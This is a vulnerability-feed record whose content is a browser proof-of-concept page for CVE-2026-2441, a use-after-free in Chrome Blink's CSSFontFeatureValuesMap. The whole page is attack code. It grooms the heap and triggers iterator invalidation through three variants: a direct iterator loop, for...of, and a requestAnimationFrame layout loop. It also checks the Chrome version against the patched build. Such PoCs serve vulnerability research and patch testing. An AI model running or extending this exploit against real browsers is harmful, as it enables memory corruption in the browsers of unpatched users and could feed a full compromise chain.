{"uuid": "47f30829-10ce-4301-9954-33b946dd69c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://gist.github.com/lyubeka99/e1b282e74e4000fe00489eb03e58a731", "content": "\n\n\n\n  \n  CVE-2026-2441 PoC \u2014 CSSFontFeatureValuesMap UAF\n  \n    body { font-family: monospace; background: #111; color: #0f0; padding: 20px; }\n    #log { white-space: pre; font-size: 13px; }\n    .ok   { color: #0f0; }\n    .warn { color: #ff0; }\n    .fail { color: #f44; }\n    .info { color: #08f; }\n  \n\n  \n  \n    @font-feature-values VulnTestFont {\n      @styleset {\n        entry_a: 1;\n        entry_b: 2;\n        entry_c: 3;\n        entry_d: 4;\n        entry_e: 5;\n        entry_f: 6;\n        entry_g: 7;\n        entry_h: 8;\n      }\n    }\n  \n\n\n\nCVE-2026-2441 \u2014 CSSFontFeatureValuesMap UAF PoC\n\n\n\n\n\"use strict\";\n\nconst log = document.getElementById(\"log\");\nfunction print(msg, cls = \"\") {\n  const span = document.createElement(\"span\");\n  span.className = cls;\n  span.textContent = msg + \"\\n\";\n  log.appendChild(span);\n}\n\nprint(\"[*] CVE-2026-2441 PoC starting...\", \"info\");\nprint(\"[*] Target: CSSFontFeatureValuesMap iterator invalidation (UAF)\", \"info\");\nprint(\"[*] Blink source: css_font_feature_values_map.cc\", \"info\");\nprint(\"\");\n\n// \u2500\u2500\u2500 1. Obtain the CSSOM object \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nconst sheet = document.getElementById(\"target-style\").sheet;\nif (!sheet || sheet.cssRules.length === 0) {\n  print(\"[!] ERROR: @font-feature-values rule not found.\", \"fail\");\n  throw new Error(\"CSS rule not found\");\n}\n\nconst rule = sheet.cssRules[0];\nprint(\"[+] CSSFontFeatureValuesRule found: \" + rule.fontFamily, \"ok\");\n\n// CSSFontFeatureValuesMap object\n// In Blink, this object is a CSSOM wrapper around the FontFeatureAliases HashMap.\nconst map = rule.styleset;\nif (!map) {\n  print(\"[!] ERROR: rule.styleset is not accessible. Browser may not support this API.\", \"fail\");\n  throw new Error(\"styleset not available\");\n}\nprint(\"[+] CSSFontFeatureValuesMap obtained. Size: \" + map.size, \"ok\");\nprint(\"\");\n\n// \u2500\u2500\u2500 2. Heap Grooming \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// Goal: Bring the heap into a predictable state.\n// By creating multiple @font-feature-values rules, we allocate same-sized\n// FontFeatureAliases objects. This facilitates memory reclaim after the UAF.\nprint(\"[*] Starting heap grooming...\", \"info\");\n\nconst groomRules = [];\nconst groomStyle = document.createElement(\"style\");\ndocument.head.appendChild(groomStyle);\n\nfor (let i = 0; i &lt; 50; i++) {\n  groomStyle.sheet.insertRule(\n    `@font-feature-values GroomFont${i} { @styleset { g${i}: ${i}; } }`,\n    groomStyle.sheet.cssRules.length\n  );\n  groomRules.push(groomStyle.sheet.cssRules[groomStyle.sheet.cssRules.length - 1]);\n}\nprint(\"[+] \" + groomRules.length + \" groom objects created.\", \"ok\");\n\n// \u2500\u2500\u2500 3. UAF Trigger \u2014 Iterator Invalidation \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n//\n// Vulnerability mechanism (unpatched Blink):\n//\n//   When CreateIterationSource() is called:\n//     FontFeatureValuesMapIterationSource(map, aliases_)\n//     \u2192 aliases_ (raw pointer) points to the internal HashMap\n//     \u2192 iterator_ = aliases_-&gt;begin()\n//\n//   When FetchNextItem() is called:\n//     \u2192 iterator_-&gt;key is read\n//\n//   If map.delete() or map.set() is called in between:\n//     \u2192 HashMap rehashes (new allocation, old storage freed)\n//     \u2192 aliases_ now points to freed memory (dangling pointer)\n//     \u2192 iterator_ is also invalidated\n//     \u2192 Next FetchNextItem() \u2192 USE-AFTER-FREE \u2192 CRASH\n//\nprint(\"[*] Starting UAF trigger...\", \"info\");\nprint(\"[*] Strategy: iterator.next() + map.delete() + map.set() x N (force rehash)\", \"info\");\nprint(\"\");\n\nlet crashDetected = false;\nlet iterationCount = 0;\n\ntry {\n  // Create iterator \u2014 at this point Blink creates an IterationSource with a raw pointer\n  const iterator = map.entries();\n\n  let step = 0;\n  while (step &lt; 20) {\n    // iterator.next() \u2192 FetchNextItem() call\n    // Unpatched Blink: reads through dangling pointer\n    const result = iterator.next();\n    \n    if (result.done) {\n      print(\"    [.] Iterator exhausted (step=\" + step + \")\", \"warn\");\n      break;\n    }\n\n    const [key, value] = result.value;\n    iterationCount++;\n    print(\"    [&gt;] Entry: \" + key + \" = \" + JSON.stringify(value) + \" (step=\" + step + \")\", \"ok\");\n\n    // \u2500\u2500 MUTATION: Modify the HashMap \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    // This triggers a HashMap rehash.\n    // In unpatched Blink, the aliases_ pointer becomes dangling after this.\n    \n    // Delete the current key\n    map.delete(key);\n\n    // Add many new keys \u2192 force rehash\n    // WTF::HashMap default load factor ~0.75; 512+ entries will definitely trigger rehash\n    // Each set() call potentially reallocates internal storage\n    for (let i = 0; i &lt; 512; i++) {\n      map.set(\"spray_\" + step + \"_\" + i, [i, i + 1, i + 2]);\n    }\n\n    // Also modify groom objects \u2014 fill the freed memory\n    for (let g = 0; g &lt; groomRules.length; g++) {\n      try {\n        groomRules[g].styleset.set(\"reclaim_\" + step + \"_\" + g, [step]);\n      } catch(e) {}\n    }\n\n    step++;\n  }\n\n  print(\"\");\n  print(\"[+] Iteration completed (\" + iterationCount + \" entries processed).\", \"ok\");\n\n} catch (e) {\n  crashDetected = true;\n  print(\"[!] EXCEPTION caught: \" + e.message, \"fail\");\n  print(\"[!] This may be the UAF manifesting at the JavaScript layer.\", \"fail\");\n}\n\n// \u2500\u2500\u2500 4. Results \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"\");\nprint(\"\u2500\".repeat(60), \"info\");\nprint(\"[*] RESULTS:\", \"info\");\n\nconst ua = navigator.userAgent;\nconst chromeMatch = ua.match(/Chrome\\/([\\d.]+)/);\nconst chromeVersion = chromeMatch ? chromeMatch[1] : \"unknown\";\nprint(\"[*] Chrome version: \" + chromeVersion, \"info\");\n\n// Version comparison\n// Dev/Canary builds have build number 0: 145.0.0.0\n// In that case major.minor is not enough, full build number is required.\nfunction parseVersion(v) {\n  const parts = v.split(\".\").map(Number);\n  return {\n    major: parts[0] || 0,\n    minor: parts[1] || 0,\n    build: parts[2] || 0,\n    patch: parts[3] || 0,\n    isDevBuild: (parts[2] === 0 &amp;&amp; parts[3] === 0)\n  };\n}\n\nfunction isVulnerable(vStr) {\n  const v = parseVersion(vStr);\n  // Dev/Canary build (x.x.0.0): receives upstream fix early, considered safe\n  if (v.isDevBuild) return false;\n  // major &lt; 145 \u2192 definitely vulnerable\n  if (v.major &lt; 145) return true;\n  // major &gt; 145 \u2192 patched\n  if (v.major &gt; 145) return false;\n  // major === 145: check build number\n  if (v.build &lt; 7632) return true;\n  if (v.build &gt; 7632) return false;\n  // build === 7632: check patch\n  return v.patch &lt; 75;\n}\n\nif (chromeMatch) {\n  const v = parseVersion(chromeVersion);\n  if (v.isDevBuild) {\n    print(\"[?] Dev/Canary build detected (\" + chromeVersion + \").\", \"warn\");\n    print(\"[?] Dev builds receive upstream fixes early \u2014 likely PATCHED.\", \"warn\");\n    print(\"[?] Use stable/beta channel (&lt;= 144.0.x) for accurate testing.\", \"warn\");\n  } else if (isVulnerable(chromeVersion)) {\n    print(\"[!] THIS VERSION IS VULNERABLE! (\" + chromeVersion + \" &lt; 145.0.7632.75)\", \"fail\");\n    print(\"[!] Renderer crash expected \u2014 if no crash occurred, sandbox or other\", \"fail\");\n    print(\"[!] mitigations may have altered the trigger conditions.\", \"fail\");\n  } else {\n    print(\"[+] This version is patched. (\" + chromeVersion + \" &gt;= 145.0.7632.75)\", \"ok\");\n    print(\"[+] No crash expected \u2014 the fix prevents iterator invalidation.\", \"ok\");\n  }\n} else {\n  print(\"[?] Chrome version could not be detected.\", \"warn\");\n}\n\nif (crashDetected) {\n  print(\"[!] Exception detected \u2014 UAF was partially triggered.\", \"fail\");\n} else {\n  print(\"[+] No exception \u2014 either patched version, or the crash killed the renderer\", \"ok\");\n  print(\"    (if the renderer crashed, this line would never execute).\", \"ok\");\n}\n\nprint(\"\");\nprint(\"[*] Commit: 63f3cb4864c64c677cd60c76c8cb49d37d08319c\", \"info\");\nprint(\"[*] Diff:   css_font_feature_values_map.cc\", \"info\");\nprint(\"[*] Fix:    const FontFeatureAliases* \u2192 const FontFeatureAliases (deep copy)\", \"info\");\nprint(\"\u2500\".repeat(60), \"info\");\n\n// \u2500\u2500\u2500 5. Alternative trigger via for...of \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// Some Blink versions use a different code path for for...of iteration.\nprint(\"\");\nprint(\"[*] Alternative trigger: for...of + concurrent mutation...\", \"info\");\n\ntry {\n  // Retry with a fresh map\n  const style2 = document.createElement(\"style\");\n  document.head.appendChild(style2);\n  style2.sheet.insertRule(\n    `@font-feature-values AltFont {\n      @styleset { x1: 10; x2: 20; x3: 30; x4: 40; x5: 50; }\n    }`, 0\n  );\n  const rule2 = style2.sheet.cssRules[0];\n  const map2 = rule2.styleset;\n\n  let altCount = 0;\n  for (const [k, v] of map2) {\n    altCount++;\n    // Mutation during iteration\n    map2.delete(k);\n    for (let i = 0; i &lt; 512; i++) {\n      map2.set(\"alt_\" + altCount + \"_\" + i, [i, i]);\n    }\n    if (altCount &gt;= 5) break;\n  }\n  print(\"[+] for...of completed (\" + altCount + \" iterations).\", \"ok\");\n} catch(e) {\n  print(\"[!] for...of exception: \" + e.message, \"fail\");\n}\n\n// \u2500\u2500\u2500 6. Async trigger via requestAnimationFrame \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// Forces layout recalculation via offsetWidth inside a rAF loop,\n// re-triggering the CSS engine.\nprint(\"\");\nprint(\"[*] Starting rAF + layout recalc trigger...\", \"info\");\n\nconst style3 = document.createElement(\"style\");\ndocument.head.appendChild(style3);\nstyle3.sheet.insertRule(\n  `@font-feature-values RafFont {\n    @styleset { r1: 1; r2: 2; r3: 3; r4: 4; r5: 5; }\n  }`, 0\n);\nconst rule3 = style3.sheet.cssRules[0];\nconst map3 = rule3.styleset;\n\nlet rafCount = 0;\nlet rafIterator = map3.entries();\n\nfunction rafTrigger() {\n  if (rafCount &gt;= 10) {\n    print(\"[+] rAF trigger completed (\" + rafCount + \" frames).\", \"ok\");\n    print(\"\");\n    print(\"[*] PoC finished. See results above.\", \"info\");\n    print(\"\");\n    print(\"[*] SUMMARY:\", \"info\");\n    print(\"[*]   Vulnerable : Chrome &lt;= 144.x (stable) or &lt; 145.0.7632.75\", \"info\");\n    print(\"[*]   Patched    : Chrome &gt;= 145.0.7632.75 (stable)\", \"info\");\n    print(\"[*]   Dev build  : e.g. 145.0.0.0 \u2014 receives upstream fix early\", \"info\");\n    print(\"[*]   No crash   : Version is patched OR renderer silently crashed\", \"info\");\n    print(\"[*]   Crash      : UAF successfully triggered\", \"info\");\n    return;\n  }\n\n  // Force layout recalc \u2014 re-trigger CSS engine\n  void document.body.offsetWidth;\n\n  // Iterator step\n  const result = rafIterator.next();\n  if (!result.done) {\n    const [k] = result.value;\n    map3.delete(k);\n    for (let i = 0; i &lt; 512; i++) {\n      map3.set(\"raf_\" + rafCount + \"_\" + i, [rafCount, i]);\n    }\n  }\n\n  rafCount++;\n  requestAnimationFrame(rafTrigger);\n}\n\nrequestAnimationFrame(rafTrigger);\n\n\n", "creation_timestamp": "2026-05-12T12:28:42.000000Z"}